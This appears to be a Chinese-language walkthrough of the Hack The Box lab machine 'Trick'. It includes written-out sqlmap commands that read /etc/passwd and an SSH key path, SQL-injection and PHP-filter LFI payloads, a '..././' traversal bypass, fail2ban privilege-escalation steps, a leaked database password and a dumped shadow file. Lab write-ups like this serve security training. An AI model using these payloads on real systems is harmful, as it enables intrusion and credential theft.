2022-06-18

Trick

Machines#477EasyLinuxDNSEnumLFIPHP_WrappersSQLiVhostfail2ban

Recon & Enum

Port Scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2

Domain Enum

dig 反查域名

$ dig @$IP -x $IP       

; <<>> DiG 9.20.0-Debian <<>> @10.129.227.180 -x 10.129.227.180
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53310
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 89ba66f8ff07033b65c7972267499248e6d2b346e88f7c87 (good)
;; QUESTION SECTION:
;180.227.129.10.in-addr.arpa.   IN      PTR

;; ANSWER SECTION:
180.227.129.10.in-addr.arpa. 604800 IN  PTR     trick.htb.

;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN      NS      trick.htb.

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 96 msec
;; SERVER: 10.129.227.180#53(10.129.227.180) (UDP)
;; WHEN: Fri Nov 29 05:07:04 EST 2024
;; MSG SIZE  rcvd: 165

dig 区域传输查询子域名

$ dig @$IP axfr $Domain 

; <<>> DiG 9.20.0-Debian <<>> @10.129.227.180 axfr trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 184 msec
;; SERVER: 10.129.227.180#53(10.129.227.180) (TCP)
;; WHEN: Fri Nov 29 05:06:48 EST 2024
;; XFR size: 6 records (messages 1, bytes 231)

也可以使用 host 命令替代

$ host $IP $IP    
Using domain server:
Name: 10.129.227.180
Address: 10.129.227.180#53
Aliases: 

180.227.129.10.in-addr.arpa domain name pointer trick.htb.

$ host -la $Domain $IP
Trying "trick.htb"
Using domain server:
Name: 10.129.227.180
Address: 10.129.227.180#53
Aliases: 

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22171
;; flags: qr aa; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;trick.htb.                     IN      AXFR

;; ANSWER SECTION:
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800

Received 192 bytes from 10.129.227.180#53 in 176 ms

发现域名 trick.htb、root.trick.htb、preprod-payroll.trick.htb

Shell as Michael

trick.htb & root.trick.htb

单页面没啥东西，目录扫描也没什么发现

preprod-payroll.trick.htb

发现登录页面，尝试弱密码与 SQL 注入

基础的 SQLi 绕过登录，一个管理员权限的后台，页面的 Url 可以测试一下文件包含漏洞

页面很明显的变化，应该是存在漏洞，尝试利用装饰器 base64 编码读取 index.php

php://filter/read=convert.base64-encode/resource=[文件名]

...
<?php
	session_start();
  if(!isset($_SESSION['login_id']))
    header('location:login.php');
 include('./header.php'); 
 // include('./auth.php'); 
 ?>
...
	<?php include 'topbar.php' ?>
	<?php include 'navbar.php' ?>
...
      <?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
  	<?php include $page.'.php' ?>
...

尝试读取一下，其中包含的其他文件

<?php 
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));

找到数据库凭据，但是尝试登录失败，这里的文件包含会在参数后面添加 .php 难以利用

再回到登录窗口，尝试进一步利用 SQL 注入

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch --file-read=/etc/passwd

可以读取 /etc/passwd，读出来的结果是十六进制数据，可以用 Chef 转换一下

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/

可以看到，具有默认 Bash 的用户有 root 和 michael，使用 hydra 测试密码都不对，在尝试使用 SQLi 读取主目录下的私钥

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch --file-read=/home/michael/.ssh/id_rsa

两个用户都没有私钥，那么可以尝试写入 authorized_keys

写入后发现无法登录，可能是没有权限，可以读取 flag 看看有没有权限

所以 mysql 是没有 michael 用户权限，读一下其他文件

/etc/nginx/nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}


#mail {
#	# See sample authentication script at:
#	# http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
# 
#	# auth_http localhost/auth.php;
#	# pop3_capabilities "TOP" "USER";
#	# imap_capabilities "IMAP4rev1" "UIDPLUS";
# 
#	server {
#		listen     localhost:110;
#		protocol   pop3;
#		proxy      on;
#	}
# 
#	server {
#		listen     localhost:143;
#		protocol   imap;
#		proxy      on;
#	}

/etc/nginx/sites-available/default

server {
	listen 80 default_server;
	listen [::]:80 default_server;
	server_name trick.htb;
	root /var/www/html;

	index index.html index.htm index.nginx-debian.html;

	server_name _;

	location / {
		try_files $uri $uri/ =404;
	}

	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/php7.3-fpm.sock;
	}
}


server {
	listen 80;
	listen [::]:80;

	server_name preprod-marketing.trick.htb;

	root /var/www/market;
	index index.php;

	location / {
		try_files $uri $uri/ =404;
	}

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;

这里发现还有一个 preprod-marketing.trick.htb 虚拟主机

preprod-marketing.trick.htb

这是也是发现了可能存在文件包含漏洞的请求

这里无法读取 /etc/passwd，尝试用 PHP 装饰器 php://filter/read=convert.base64-encode/resource=[文件名] 读取 index.php

也是不行，那只能猜一下文件包含的防护机制了

./contact.html
./js/../contact.html
x

发现 ../ 符号好像是被过滤掉了，那么可以通过双写来绕过

..././..././..././..././..././..././..././etc/passwd

再来读取，发现是有密钥的，那么可以直接 ssh 登录了，当然也可以包含日志来反弹 Shell

Local Enum

Shell as Root

通过搜索引擎可以了解，这个脚本的功能是封禁多次登陆失败的 IP，并且当前用户所在组是 security

那么看一下 fail2ban 的配置文件

这里还会被定时清理，不过重新进一下目录就恢复了

这里可以修改 actionban 的命令，因为方便触发（多次登录密码错误）

但是没有成功，看一下 fail2ban 的配置文件 /etc/fail2ban/jail.conf

发现前面的 iptable 规则加载的是 iptables-multiport，并且需要登陆失败 5 次才会被禁用

cat iptables-multiport.conf | tail -n 12 | head -n 1
rm /etc/fail2ban/action.d/iptables-multiport.conf
cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart

然后 ssh 登录错误 5 次触发封禁策略，查看 /bin/bash 权限

Dump Hash

root:$6$lbBzS2rUUVRa6Erd$u2u317eVZBZgdCrT2HViYv.69vxazyKjAuVETHTpTpD42H0RDPQIbsCHwPdKqBQphI/FOmpEt3lgD9QBsu6nU1:19104:0:99999:7:::
daemon:*:18800:0:99999:7:::
bin:*:18800:0:99999:7:::
sys:*:18800:0:99999:7:::
sync:*:18800:0:99999:7:::
games:*:18800:0:99999:7:::
man:*:18800:0:99999:7:::
lp:*:18800:0:99999:7:::
mail:*:18800:0:99999:7:::
news:*:18800:0:99999:7:::
uucp:*:18800:0:99999:7:::
proxy:*:18800:0:99999:7:::
www-data:*:18800:0:99999:7:::
backup:*:18800:0:99999:7:::
list:*:18800:0:99999:7:::
irc:*:18800:0:99999:7:::
gnats:*:18800:0:99999:7:::
nobody:*:18800:0:99999:7:::
_apt:*:18800:0:99999:7:::
systemd-timesync:*:18800:0:99999:7:::
systemd-network:*:18800:0:99999:7:::
systemd-resolve:*:18800:0:99999:7:::
messagebus:*:18800:0:99999:7:::
tss:*:18800:0:99999:7:::
dnsmasq:*:18800:0:99999:7:::
usbmux:*:18800:0:99999:7:::
rtkit:*:18800:0:99999:7:::
pulse:*:18800:0:99999:7:::
speech-dispatcher:!:18800:0:99999:7:::
avahi:*:18800:0:99999:7:::
saned:*:18800:0:99999:7:::
colord:*:18800:0:99999:7:::
geoclue:*:18800:0:99999:7:::
hplip:*:18800:0:99999:7:::
Debian-gdm:*:18800:0:99999:7:::
systemd-coredump:!!:18800::::::
mysql:!:19104:0:99999:7:::
sshd:*:19104:0:99999:7:::
postfix:*:19104:0:99999:7:::
bind:*:19104:0:99999:7:::
michael:$6$SPev7eFL5z0aKFf0$5iLTl9egsGGePEPUnNJlFyw8HHvTwqVC3/THKzW2YD5ZPnbkN7pSOeOkXe9uiUHfOJegJdYT0j3Z9pz.FSX2y0:19104:0:99999:7:::

SSH Key

Key for Michael

Key for Root

Root 用户计划任务

root@trick:~# crontab -l
SHELL=/bin/bash
*/2 * * * * rm -rf /var/mail/*
*/3 * * * * /bin/bash /root/f2b.sh
@reboot sleep 15 && /bin/bash /root/set_dns.sh

root@trick:~# ls
f2b.sh  fail2ban  root.txt  set_dns.sh

root@trick:~# cat f2b.sh
#!/bin/bash

rm -rf /etc/fail2ban/*
cp -r /root/fail2ban /etc/
chown root:security /etc/fail2ban/action.d
chmod 770 /etc/fail2ban/action.d

root@trick:~# cat set_dns.sh
#!/bin/bash

ip=$(hostname -I)
last=$(echo $ip | cut -d "." -f 4 | awk '{print $1;}')
first=$(echo $ip | cut -d "." -f 1)
second=$(echo $ip | cut -d "." -f 2)
third=$(echo $ip | cut -d "." -f 3)

echo ';
; BIND reverse data file for local loopback interface
;
$TTL    604800
@    IN    SOA    trick.htb. root.trick.htb (
                  3        ; Serial
             604800        ; Refresh
              86400        ; Retry
            2419200        ; Expire
             604800 )    ; Negative Cache TTL
;
@    IN    NS    trick.htb.
'$last'    IN    PTR    trick.htb.' > /etc/bind/reverse.trick.htb

echo ';
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    trick.htb. root.trick.htb. (
                  5        ; Serial
             604800        ; Refresh
              86400        ; Retry
            2419200        ; Expire
             604800 )    ; Negative Cache TTL
;
@    IN    NS    trick.htb.
@    IN    A    127.0.0.1
@    IN    AAAA    ::1
preprod-payroll    IN    CNAME    trick.htb.' > /etc/bind/db.trick.htb

echo 'zone "trick.htb" {
    type master;
    file "/etc/bind/db.trick.htb";
    allow-transfer { any; };
};

zone "'$third'.'$second'.'$first'.in-addr.arpa" {
    type master;
    file "/etc/bind/reverse.trick.htb";
};' > /etc/bind/named.conf.local

systemctl restart bind9